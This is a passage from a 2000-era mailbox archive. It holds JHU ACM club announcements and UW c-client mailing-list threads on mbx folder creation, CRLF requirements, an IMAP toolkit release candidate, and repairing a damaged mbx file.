WAA21231; Tue, 3 Oct 2000 22:52:14 -0400 (EDT) Received: from chimera.acm.jhu.edu (IDENT:mail@localhost [127.0.0.1]) by chimera.acm.jhu.edu (8.9.3/8.9.3) with ESMTP id WAA24897; Tue, 3 Oct 2000 22:52:10 -0400 Received: from smtp-a.capu.net (IDENT:0@smtp-a.capu.net [205.177.76.122]) by chimera.acm.jhu.edu (8.9.3/8.9.3) with ESMTP id WAA24890 for ; Tue, 3 Oct 2000 22:52:06 -0400 Received: from acm.jhu.edu (cd-176-101.ra30.dc.capu.net [64.50.176.101]) by smtp-a.capu.net (8.9.3/8.9.3) with ESMTP id WAA26139 for ; Tue, 3 Oct 2000 22:52:06 -0400 Message-ID: <39DA9D58.B3DC60EB@acm.jhu.edu> Date: Tue, 03 Oct 2000 23:00:40 -0400 From: Jeremy Muhlich X-Mailer: Mozilla 4.72 [en] (X11; I; Linux 2.2.16 i686) X-Accept-Language: en MIME-Version: 1.0 To: members@acm.jhu.edu Content-Transfer-Encoding: 7bit Subject: [Members] programming contest - correction Sender: members-admin@acm.jhu.edu Errors-To: members-admin@acm.jhu.edu X-BeenThere: members@acm.jhu.edu X-Mailman-Version: 2.0beta2 Precedence: bulk List-Id: The JHU Members list Content-Type: text/plain; charset=us-ascii Content-Length: 245 Lines: 8 Sorry, that's 12PM (noon) and not 12AM. I repeat, the correct time is *noon on Saturday*. :) -- Jeremy _______________________________________________ Members maillist - Members@acm.jhu.edu http://www.acm.jhu.edu/mailman/listinfo/members >From members-admin@acm.jhu.edu Tue Oct 3 23:37 EDT 2000 Received: from chimera.acm.jhu.edu (IDENT:root@chimera.acm.jhu.edu [128.220.223.63]) by hops.cs.jhu.edu (8.9.3/8.9.3) with ESMTP id XAA22023; Tue, 3 Oct 2000 23:34:08 -0400 (EDT) Received: from chimera.acm.jhu.edu (IDENT:mail@localhost [127.0.0.1]) by chimera.acm.jhu.edu (8.9.3/8.9.3) with ESMTP id XAA26150; Tue, 3 Oct 2000 23:34:03 -0400 Received: from smtp-a.capu.net (IDENT:0@smtp-a.capu.net [205.177.76.122]) by chimera.acm.jhu.edu (8.9.3/8.9.3) with ESMTP id XAA26143 for ; Tue, 3 Oct 2000 23:34:00 -0400 Received: from acm.jhu.edu (cd-176-101.ra30.dc.capu.net [64.50.176.101]) by smtp-a.capu.net (8.9.3/8.9.3) with ESMTP id XAA28544 for ; Tue, 3 Oct 2000 23:34:00 -0400 Message-ID: <39DAA72A.B6626@acm.jhu.edu> Date: Tue, 03 Oct 2000 23:42:34 -0400 From: Jeremy Muhlich X-Mailer: Mozilla 4.72 [en] (X11; I; Linux 2.2.16 i686) X-Accept-Language: en MIME-Version: 1.0 To: members@acm.jhu.edu Content-Transfer-Encoding: 7bit Subject: [Members] This week's meeting Sender: members-admin@acm.jhu.edu Errors-To: members-admin@acm.jhu.edu X-BeenThere: members@acm.jhu.edu X-Mailman-Version: 2.0beta2 Precedence: bulk List-Id: The JHU Members list Content-Type: text/plain; charset=us-ascii Content-Length: 961 Lines: 34 Hello all, Here's the agenda for this Thursday's meeting, in no particular order: 1) Programming contest overview -> types of problems -> allowed languages -> scoring -> lab setup and contest operation If you signed up for the contest and aren't sure what it's all about, or want to sign up but don't know if it's for you, come to this meeting! Of course we'll also answer any questions you may have about the contest. 2) eOriginal presentation The CS internship program is bringing us eOriginal. Wendell made them promise to give us a tech-oriented presentation instead of some marketing stuff, woo! :) Also, there will be pizza provided by the CS department. Time and location of the meeting, as always, is: 5:00 PM on Thursday Shaffer 301 -- Jeremy _______________________________________________ Members maillist - Members@acm.jhu.edu http://www.acm.jhu.edu/mailman/listinfo/members >From group9@barley.cs.jhu.edu Wed Oct 4 21:52 EDT 2000 Received: from localhost (group9@localhost) by barley.cs.jhu.edu (8.9.3/8.9.3) with ESMTP id VAA23195 for ; Wed, 4 Oct 2000 21:52:10 -0400 (EDT) Date: Wed, 4 Oct 2000 21:52:05 -0400 (EDT) From: OOS Group9 To: Ben Kram Subject: do you know how make emacs do intelligent word wrapping? Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Status: RO Content-Length: 1 Lines: 1 --NDin8bjvE/0mNLFQ-- From pinedev@shivax2.cac.washington.edu Thu Oct 5 14:00:23 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 5 Oct 2000 14:00:23 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id OAA12934 for ; Thu, 5 Oct 2000 14:00:22 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id OAA16839; Thu, 5 Oct 2000 14:00:20 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id NAA19960; Thu, 5 Oct 2000 13:59:07 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id NAA187448 for ; Thu, 5 Oct 2000 13:49:14 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id NAA21572 for ; Thu, 5 Oct 2000 13:49:09 -0700 Received: from incubus.modulo.org (incubus.modulo.org [209.143.90.124]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with SMTP id NAA31976 for ; Thu, 5 Oct 2000 13:49:08 -0700 Received: (qmail 21762 invoked by uid 500); 5 Oct 2000 20:49:02 -0000 Message-Id: <20001005164901.A21692@modulo.org> Date: Thu, 5 Oct 2000 16:49:02 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: ben h kram To: c-client@CAC.Washington.EDU Subject: Re: mbx folder creation, and bodiless messages In-Reply-To: <20001005163006.I20734@modulo.org>; from jargon@modulo.org on Thu, Oct 05, 2000 at 04:30:06PM -0400 References: <20001005020135.A20734@modulo.org> <20001005163006.I20734@modulo.org> Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="/9DWx/yDrRhgMJTb" X-PGP-Fingerprint: 60FE7A05/2047/A2 84 2A 66 99 E2 6E E6 74 A2 3C 56 AB 65 00 A9 X-GPG-Fingerprint: 4E6738F1/FBD9 260F E2A7 FE88 D4E7 F1FC 8CF1 2462 4E67 38F1 X-Email-Backlog: 148 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN --/9DWx/yDrRhgMJTb Content-Type: text/plain; charset=us-ascii Gads I'm losing it today. Okay, please ignore the last message and its spool. It is a random spool I had sitting in my directory. I apologize to the list if you got it. _This_ is a small, sample spool, demonstrating what I was seeing. thank you, ben -- "...human heads are opaque and there's no way to see inside except through those tiny little windows, the eyes." -Yevgeny Zamyatin "We" --/9DWx/yDrRhgMJTb Content-Type: application/octet-stream Content-Disposition: attachment; filename="box.mbx" Content-Transfer-Encoding: base64 Km1ieCoNCjM5ZGMxNDAwMDAwMDAwMDMNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoN Cg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwNS1P Y3QtMjAwMCAwNjo0MDoxMyArMDEwMCw5MzI7MDAwMDAwMDAwMDAwLTAwMDAwMDAxDQpSZWNl aXZlZDogKHFtYWlsIDI0ODIgaW52b2tlZCBmcm9tIG5ldHdvcmspOyA1IE9jdCAyMDAwIDA1 OjQwOjEyIC0wMDAwClJlY2VpdmVkOiBmcm9tIGluY3VidXMubW9kdWxvLm9yZyAoMjA5LjE0 My45MC4xMjQpCiAgYnkgMTQ2LjEwMS4yNDkuMTgxIHdpdGggU01UUDsgNSBPY3QgMjAwMCAw NTo0MDoxMiAtMDAwMApSZWNlaXZlZDogKHFtYWlsIDIwNjk2IGludm9rZWQgYnkgdWlkIDUw MCk7IDUgT2N0IDIwMDAgMDU6NDY6MDIgLTAwMDAKRGF0ZTogVGh1LCA1IE9jdCAyMDAwIDAx OjQ2OjAyIC0wNDAwCkZyb206IGJlbiBoIGtyYW0gPGphcmdvbkBtb2R1bG8ub3JnPgpUbzog amFyZ29uQHdlYm1haWwubW9kdWxvLm9yZwpTdWJqZWN0OiB0ZXN0IDEKTWVzc2FnZS1JRDog PDIwMDAxMDA1MDE0NjAxLkEyMDY4N0Btb2R1bG8ub3JnPgpNaW1lLVZlcnNpb246IDEuMApD b250ZW50LVR5cGU6IHRleHQvcGxhaW47IGNoYXJzZXQ9dXMtYXNjaWkKWC1NYWlsZXI6IE11 dHQgMS4wLjFpClgtUEdQLUZpbmdlcnByaW50OiA2MEZFN0EwNS8yMDQ3L0EyIDg0IDJBIDY2 IDk5IEUyIDZFIEU2IDc0IEEyIDNDIDU2IEFCIDY1IDAwIEE5ClgtR1BHLUZpbmdlcnByaW50 OiA0RTY3MzhGMS9GQkQ5IDI2MEYgRTJBNyBGRTg4IEQ0RTcgIEYxRkMgOENGMSAyNDYyIDRF NjcgMzhGMQpYLUVtYWlsLUJhY2tsb2c6IDkzCgp0ZXN0IDEKCi0tIAoiLi4uaHVtYW4gaGVh ZHMgYXJlIG9wYXF1ZSBhbmQgdGhlcmUncyBubyB3YXkgdG8gc2VlIGluc2lkZSBleGNlcHQg CnRocm91Z2ggdGhvc2UgdGlueSBsaXR0bGUgd2luZG93cywgdGhlIGV5ZXMuIgogICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtWWV2Z2VueSBaYW15 YXRpbgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAiV2UiCjA1LU9jdC0yMDAwIDA2OjQwOjM1ICswMTAwLDkzMjswMDAwMDAwMDAwMDAt MDAwMDAwMDINClJlY2VpdmVkOiAocW1haWwgMjQ5NyBpbnZva2VkIGZyb20gbmV0d29yayk7 IDUgT2N0IDIwMDAgMDU6NDA6MzQgLTAwMDAKUmVjZWl2ZWQ6IGZyb20gaW5jdWJ1cy5tb2R1 bG8ub3JnICgyMDkuMTQzLjkwLjEyNCkKICBieSAxNDYuMTAxLjI0OS4xODEgd2l0aCBTTVRQ OyA1IE9jdCAyMDAwIDA1OjQwOjM0IC0wMDAwClJlY2VpdmVkOiAocW1haWwgMjA3MDcgaW52 b2tlZCBieSB1aWQgNTAwKTsgNSBPY3QgMjAwMCAwNTo0NjoyMyAtMDAwMApEYXRlOiBUaHUs IDUgT2N0IDIwMDAgMDE6NDY6MjMgLTA0MDAKRnJvbTogYmVuIGgga3JhbSA8amFyZ29uQG1v ZHVsby5vcmc+ClRvOiBqYXJnb25Ad2VibWFpbC5tb2R1bG8ub3JnClN1YmplY3Q6IHRlc3Qg MgpNZXNzYWdlLUlEOiA8MjAwMDEwMDUwMTQ2MjMuQTIwNjk4QG1vZHVsby5vcmc+Ck1pbWUt VmVyc2lvbjogMS4wCkNvbnRlbnQtVHlwZTogdGV4dC9wbGFpbjsgY2hhcnNldD11cy1hc2Np aQpYLU1haWxlcjogTXV0dCAxLjAuMWkKWC1QR1AtRmluZ2VycHJpbnQ6IDYwRkU3QTA1LzIw NDcvQTIgODQgMkEgNjYgOTkgRTIgNkUgRTYgNzQgQTIgM0MgNTYgQUIgNjUgMDAgQTkKWC1H UEctRmluZ2VycHJpbnQ6IDRFNjczOEYxL0ZCRDkgMjYwRiBFMkE3IEZFODggRDRFNyAgRjFG QyA4Q0YxIDI0NjIgNEU2NyAzOEYxClgtRW1haWwtQmFja2xvZzogOTMKCnRlc3QgMgoKLS0g CiIuLi5odW1hbiBoZWFkcyBhcmUgb3BhcXVlIGFuZCB0aGVyZSdzIG5vIHdheSB0byBzZWUg aW5zaWRlIGV4Y2VwdCAKdGhyb3VnaCB0aG9zZSB0aW55IGxpdHRsZSB3aW5kb3dzLCB0aGUg ZXllcy4iCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg IC1ZZXZnZW55IFphbXlhdGluCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICJXZSIKMDUtT2N0LTIwMDAgMDY6NDA6NTIgKzAxMDAsOTMy OzAwMDAwMDAwMDAwMC0wMDAwMDAwMw0KUmVjZWl2ZWQ6IChxbWFpbCAyNTA5IGludm9rZWQg ZnJvbSBuZXR3b3JrKTsgNSBPY3QgMjAwMCAwNTo0MDo1MSAtMDAwMApSZWNlaXZlZDogZnJv bSBpbmN1YnVzLm1vZHVsby5vcmcgKDIwOS4xNDMuOTAuMTI0KQogIGJ5IDE0Ni4xMDEuMjQ5 LjE4MSB3aXRoIFNNVFA7IDUgT2N0IDIwMDAgMDU6NDA6NTEgLTAwMDAKUmVjZWl2ZWQ6IChx bWFpbCAyMDcxOCBpbnZva2VkIGJ5IHVpZCA1MDApOyA1IE9jdCAyMDAwIDA1OjQ2OjQxIC0w MDAwCkRhdGU6IFRodSwgNSBPY3QgMjAwMCAwMTo0Njo0MSAtMDQwMApGcm9tOiBiZW4gaCBr cmFtIDxqYXJnb25AbW9kdWxvLm9yZz4KVG86IGphcmdvbkB3ZWJtYWlsLm1vZHVsby5vcmcK U3ViamVjdDogdGVzdCAzCk1lc3NhZ2UtSUQ6IDwyMDAwMTAwNTAxNDY0MS5BMjA3MDlAbW9k dWxvLm9yZz4KTWltZS1WZXJzaW9uOiAxLjAKQ29udGVudC1UeXBlOiB0ZXh0L3BsYWluOyBj aGFyc2V0PXVzLWFzY2lpClgtTWFpbGVyOiBNdXR0IDEuMC4xaQpYLVBHUC1GaW5nZXJwcmlu dDogNjBGRTdBMDUvMjA0Ny9BMiA4NCAyQSA2NiA5OSBFMiA2RSBFNiA3NCBBMiAzQyA1NiBB QiA2NSAwMCBBOQpYLUdQRy1GaW5nZXJwcmludDogNEU2NzM4RjEvRkJEOSAyNjBGIEUyQTcg RkU4OCBENEU3ICBGMUZDIDhDRjEgMjQ2MiA0RTY3IDM4RjEKWC1FbWFpbC1CYWNrbG9nOiA5 MwoKdGVzdCAzCgotLSAKIi4uLmh1bWFuIGhlYWRzIGFyZSBvcGFxdWUgYW5kIHRoZXJlJ3Mg bm8gd2F5IHRvIHNlZSBpbnNpZGUgZXhjZXB0IAp0aHJvdWdoIHRob3NlIHRpbnkgbGl0dGxl IHdpbmRvd3MsIHRoZSBleWVzLiIKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgLVlldmdlbnkgWmFteWF0aW4KICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIldlIgo= --/9DWx/yDrRhgMJTb-- From pinedev@shivax2.cac.washington.edu Thu Oct 5 15:23:27 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 5 Oct 2000 15:23:26 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id PAA25510 for ; Thu, 5 Oct 2000 15:23:25 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id PAA02773; Thu, 5 Oct 2000 15:23:23 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id PAA24154; Thu, 5 Oct 2000 15:22:00 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id PAA161554 for ; Thu, 5 Oct 2000 15:12:01 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id PAA07439 for ; Thu, 5 Oct 2000 15:12:00 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (mturn@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id PAA19448 for ; Thu, 5 Oct 2000 15:11:59 -0700 Message-Id: Date: Thu, 5 Oct 2000 15:10:09 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: ben h kram Cc: c-client@CAC.Washington.EDU Subject: Re: mbx folder creation, and bodiless messages In-Reply-To: <20001005164901.A21692@modulo.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN The reason why it isn't working is that you called mail_append() with bogus data. Specifically, you gave it data with UNIX-style LF-only newlines, whereas mail_append() specifically requires CRLF newlines. The mbx format also requires CRLF newlines. From pinedev@shivax2.cac.washington.edu Wed Oct 18 07:54:16 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 18 Oct 2000 07:54:16 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id HAA30913 for ; Wed, 18 Oct 2000 07:54:15 -0700 (PDT) Received: from list1.u.washington.edu (root@list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id HAA04307; Wed, 18 Oct 2000 07:54:13 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id HAA33144; Wed, 18 Oct 2000 07:52:55 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id HAA49116 for ; Wed, 18 Oct 2000 07:50:26 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id HAA01147 for ; Wed, 18 Oct 2000 07:50:26 -0700 Received: from icarus.dur.ac.uk (icarus.dur.ac.uk [129.234.4.81]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id HAA18184; Wed, 18 Oct 2000 07:50:20 -0700 Received: from mercury.dur.ac.uk (mercury.dur.ac.uk [129.234.4.40]) by icarus.dur.ac.uk (8.9.1/8.9.1) with ESMTP id PAA08980; Wed, 18 Oct 2000 15:50:12 +0100 (BST) Received: from arachne (arachne.dur.ac.uk [129.234.2.4]) by mercury.dur.ac.uk (8.9.1/8.9.1) with ESMTP id PAA24980; Wed, 18 Oct 2000 15:50:11 +0100 (BST) Message-Id: Date: Wed, 18 Oct 2000 15:50:10 +0100 (BST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: David Lee To: Mark Crispin Cc: c-client Interest List Subject: Re: Announcing: UW IMAP toolkit 2000 Release Candidate 7 In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 20 Sep 2000, Mark Crispin wrote: > UW IMAP toolkit 2000 Release Candidate 7 is now on available on: > ftp://ftp.cac.washington.edu/mail/imap.tar.Z > [...] Thanks. We are at the point where we need to revise our imap (and imap-utils), so it would make sense for us to migrate, if possible, to imap-2000. 1. Are there any further events planned for the next week or so? (Such as RC8 or the official release?) 2. Should we move imap-utils at the same time? More generally: Our performance is being badly hit by mail software calling initgroups() for our 1000+ entry NIS groups map. I have just tweaked our sendmail config with "confDONT_INIT_GROUPS", which made a great improvement. But we still have imapd, popd and tmail which (I'm fairly sure) are also calling initgroups(). My guess is that this is unnecessary, and I'm thinking of producing a patch so that "initgroups()" can be bypassed (using some sort of "#define" mechanism at build time). I'd rather do it through a system-wide runtime config file, but there doesn't seem to be such a mechanism (except one hedged around with all sorts of dire warnings!). Any thoughts? (If it's a bad idea, tell me; if it's useful, I'll keep the list informed of the patch.) Another point: why is imap-utils separate? Given that it is so intimately bound to the main imap software, why not just bundle it? Its "Z" file is a mere 66 KB, compared to the main 2102 KB. Indeed, in another message, you mentioned that it was vital to use compatible versions, so bundling would greatly help to ensure this. Thanks for your continued provision of the great software. -- : David Lee I.T. Service : : Systems Programmer Computer Centre : : University of Durham : : http://www.dur.ac.uk/~dcl0tdl South Road : : Durham : : Phone: +44 191 374 2882 U.K. : From pinedev@shivax2.cac.washington.edu Wed Oct 18 08:48:31 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 18 Oct 2000 08:48:31 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id IAA25216 for ; Wed, 18 Oct 2000 08:48:30 -0700 (PDT) Received: from list3.u.washington.edu (root@list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id IAA05960; Wed, 18 Oct 2000 08:48:27 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id IAA36822; Wed, 18 Oct 2000 08:47:16 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id IAA163410 for ; Wed, 18 Oct 2000 08:45:57 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id IAA28776 for ; Wed, 18 Oct 2000 08:45:57 -0700 Received: from guiness.netcomsa.com ([216.72.122.3]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id IAA19797 for ; Wed, 18 Oct 2000 08:45:53 -0700 Received: from localhost (mike@localhost) by guiness.netcomsa.com (8.8.8/8.8.8) with ESMTP id JAA29027 for ; Wed, 18 Oct 2000 09:46:16 -0600 Message-Id: Date: Wed, 18 Oct 2000 09:46:16 -0600 (CST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mike Trank To: c-client@CAC.Washington.EDU Subject: repairing "mbx" formatted files MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi there. Anyone know a way that I can repair an "mbx" type mailbox file, manually or otherwise? It got ruined because I did not take Mark's advice about not using "mbx" with NFS..... Now, no c-client programs can open it up.... -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Oct 18 08:49:11 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 18 Oct 2000 08:49:10 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id IAA03350 for ; Wed, 18 Oct 2000 08:49:09 -0700 (PDT) Received: from list2.u.washington.edu (root@list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id IAA19890; Wed, 18 Oct 2000 08:49:07 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id IAA20322; Wed, 18 Oct 2000 08:48:16 